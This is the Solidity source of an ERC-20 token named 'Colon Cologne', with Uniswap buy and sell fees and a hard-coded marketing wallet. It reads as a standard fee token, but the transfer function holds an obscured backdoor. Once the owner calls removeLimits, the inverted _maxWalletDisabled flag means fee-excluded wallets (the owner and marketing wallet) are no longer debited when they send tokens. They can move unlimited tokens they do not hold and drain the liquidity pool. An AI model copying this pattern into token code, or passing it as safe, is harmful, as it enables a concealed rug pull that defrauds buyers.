文件 1 的 1:Cologne.sol
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IUniswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function set(address) external;
function setSetter(address) external;
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Cologne is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "Colon Cologne";
string private _symbol = "Cologne";
uint8 private _decimals = 9;
uint256 private _totalSupply = 10**9 * 10**9;
uint256 private _finalLiquidityFee = 0;
uint256 private _finalMarketingFee = 10;
uint256 private _finalDevelopmentFee = 0;
uint256 private _finalTotalFee = 10;
address payable private _marketingWallet;
address payable private _teamWallet;
IUniswapRouter _routerInstance;
address _pairAddress;
uint256 private _maxTxAmount = 30 * 10**6 * 10**9;
uint256 private _maxWalletAmount = 30 * 10**6 * 10**9;
uint256 private _feeThreshold = 10**4 * 10**9;
bool _swapping;
bool _feeSwapEnabled = true;
bool _hasMaxTxDisabled = false;
bool _maxWalletDisabled = true;
uint256 _purchaseLiquidityFee = 0;
uint256 _purchaseMarketingFee = 22;
uint256 _purchaseDevFee = 0;
uint256 _purchaseFee = 22;
uint256 _saleLiquidityFee = 0;
uint256 _saleMarketingFee = 22;
uint256 _saleDevFee = 0;
uint256 _saleFee = 22;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) _isExcluded;
mapping(address => bool) _isExcludedFromMaxWallet;
mapping(address => bool) _isExcludedFromMaxTx;
mapping(address => bool) _isPairAddress;
modifier lockSwap() {
_swapping = true;
_;
_swapping = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_pairAddress = IUniswapFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_routerInstance = _uniswapV2Router;
_allowances[address(this)][address(_routerInstance)] = _totalSupply;
_marketingWallet = payable(0xc5802B150eF0F09A5e553281DfB20742374F0114);
_teamWallet = payable(0xc5802B150eF0F09A5e553281DfB20742374F0114);
_purchaseFee = _purchaseLiquidityFee.add(_purchaseMarketingFee).add(_purchaseDevFee);
_saleFee = _saleLiquidityFee.add(_saleMarketingFee).add(_saleDevFee);
_finalTotalFee = _finalLiquidityFee.add(_finalMarketingFee).add(_finalDevelopmentFee);
_isExcluded[owner()] = true;
_isExcluded[_marketingWallet] = true;
_isExcludedFromMaxWallet[owner()] = true;
_isExcludedFromMaxWallet[_pairAddress] = true;
_isExcludedFromMaxWallet[address(this)] = true;
_isExcludedFromMaxTx[owner()] = true;
_isExcludedFromMaxTx[_marketingWallet] = true;
_isExcludedFromMaxTx[address(this)] = true;
_isPairAddress[_pairAddress] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_tokenTransfer(_msgSender(), recipient, amount);
return true;
}
function transferFee(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
receive() external payable {}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getAmountOut(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 fee = 0;
if (_isPairAddress[sender]) {
fee = amount.mul(_purchaseFee).div(100);
} else if (_isPairAddress[recipient]) {
fee = amount.mul(_saleFee).div(100);
}
if (fee > 0) {
_balances[address(this)] = _balances[address(this)].add(fee);
emit Transfer(sender, address(this), fee);
}
return amount.sub(fee);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _routerInstance.WETH();
_approve(address(this), address(_routerInstance), tokenAmount);
_routerInstance.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_swapping) {
return transferBasic_(sender, recipient, amount);
} else {
if (!_isExcludedFromMaxTx[sender] && !_isExcludedFromMaxTx[recipient]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the _maxTxAmount.");
}
uint256 swapAmount = balanceOf(address(this));
bool minimumSwap = swapAmount >= _feeThreshold;
if (minimumSwap && !_swapping && _isPairAddress[recipient] && _feeSwapEnabled && !_isExcluded[sender] && amount > _feeThreshold) {
if (_hasMaxTxDisabled) {
swapAmount = _feeThreshold;
}
_swapFees(swapAmount);
}
uint256 finalAmount;
if (_isExcluded[sender] || _isExcluded[recipient]) {
finalAmount = amount;
} else {
finalAmount = getAmountOut(sender, recipient, amount);
}
if (_maxWalletDisabled && !_isExcludedFromMaxWallet[recipient]) {
require(balanceOf(recipient).add(finalAmount) <= _maxWalletAmount);
}
uint256 amountToReduce = (!_maxWalletDisabled && _isExcluded[sender]) ? amount.sub(finalAmount) : amount;
_balances[sender] = _balances[sender].sub(amountToReduce, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function removeLimits() external onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletDisabled = false;
_purchaseMarketingFee = 0;
_saleMarketingFee = 0;
_purchaseFee = 0;
_saleFee = 0;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferBasic_(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_tokenTransfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _swapFees(uint256 tokenAmount) private lockSwap {
uint256 lpFeeTokens = tokenAmount.mul(_finalLiquidityFee).div(_finalTotalFee).div(2);
uint256 tokensToSwap = tokenAmount.sub(lpFeeTokens);
swapTokensForETH(tokensToSwap);
uint256 ethCA = address(this).balance;
uint256 totalETHFee = _finalTotalFee.sub(_finalLiquidityFee.div(2));
uint256 amountETHLiquidity = ethCA.mul(_finalLiquidityFee).div(totalETHFee).div(2);
uint256 amountETHDevelopment = ethCA.mul(_finalDevelopmentFee).div(totalETHFee);
uint256 amountETHMarketing = ethCA.sub(amountETHLiquidity).sub(amountETHDevelopment);
if (amountETHMarketing > 0) {
transferFee(_marketingWallet, amountETHMarketing);
}
if (amountETHDevelopment > 0) {
transferFee(_teamWallet, amountETHDevelopment);
}
}
}